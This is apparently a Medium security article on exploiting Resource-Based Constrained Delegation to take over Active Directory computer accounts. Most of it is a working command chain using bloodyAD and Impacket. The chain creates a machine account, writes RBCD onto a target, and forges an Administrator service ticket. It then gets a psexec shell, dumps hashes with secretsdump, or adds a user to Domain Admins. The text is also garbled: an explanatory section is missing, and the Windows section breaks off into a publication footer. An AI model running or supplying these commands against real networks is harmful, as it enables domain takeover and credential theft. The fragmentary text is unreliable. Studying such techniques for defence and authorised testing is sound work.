Exploiting Resource-Based Constrained Delegation (RBCD)

In this article, we will examine what Resource-Based Constrained Delegation (RBCD) is, and how it can be exploited to achieve a full Computer Account takeover.

1. Kerberos Delegation 101

If you’re new to Kerberos authentication, I have previously written an article .

1. Create a Computer Account (i.e. “Service A”) — If you already have access to an account with an SPN, you can skip this step.
2. Configure target computer object (i.e. “Service B”) for RBCD — to let “Service B” trust “Service A” to impersonate any user.
3. Get a service ticket to Service B impersonating Administrator user (or any other user) — The service (i.e. SPN) must correspond to a service running on the target machine (e.g. cifs, HOST, HTTP or ldap).
4. Pass the ticket — e.g. to get a shell as Administrator on target Computer, access the file system on the target Computer, or harvest credentials from the target Computer (secretsdump.py)

Linux Commands for Exploit

##### Step 1: Create a computer account ######

# Option 1: Using Bloodyad
$ bloodyad -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --host "$DC_HOST" add computer 'SomeName$' 'SomePassword'

# Option 2: Using Impacket script
$ addcomputer.py -computer-name 'SomeName$' -computer-pass 'SomePassword' -dc-host "$DC_HOST" -domain-netbios "$DOMAIN" "$DOMAIN"/"$USER":"$PASSWORD"

##### Step 2: Configure RBCD on target Computer Account ######

# Using Impacket rbcd.py script
$ rbcd.py -delegate-from "$CONTROLLED_ACCOUNT" -delegate-to "$TARGET$" -dc-ip "$DC_HOST" -action 'write' "$DOMAIN/$USER:$PASSWORD"

##### Step 3: Get a Service Ticket for Administrator ######

# Using Impacket script getST.py smbc
$ getST.py -spn 'cifs/target' -impersonate "Administrator" -dc-ip "$DC_IP" "$DOMAIN"/"$ACCOUNT_WITH_SPN":"$PASSWORD"

##### Step 4: Pass the ticket to get a shell as Administrator on target computer ######

$ export KRB5CCNAME=administrator.ccache

# The following should work with a cifs ticket.

# Option 1: Get a shell with psexec.py
$ python3 psexec.py <domain>/administrator@<target_ip> -k -no-pass

# Option 2: Do a secretsdump to extract the hashes
$ python3 secretsdump.py -k <target>

# Option 3: access the file system with smbclient
$ python3 smbclient.py -k -no-pass <target>

# Option 4: Use bloodyAD to add user to Domain Admins
# bloodyAD -d <domain> -k --host <hostname> add groupMember "Domain Admins" <username>

Windows Commands for Exploit

You will need to use was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.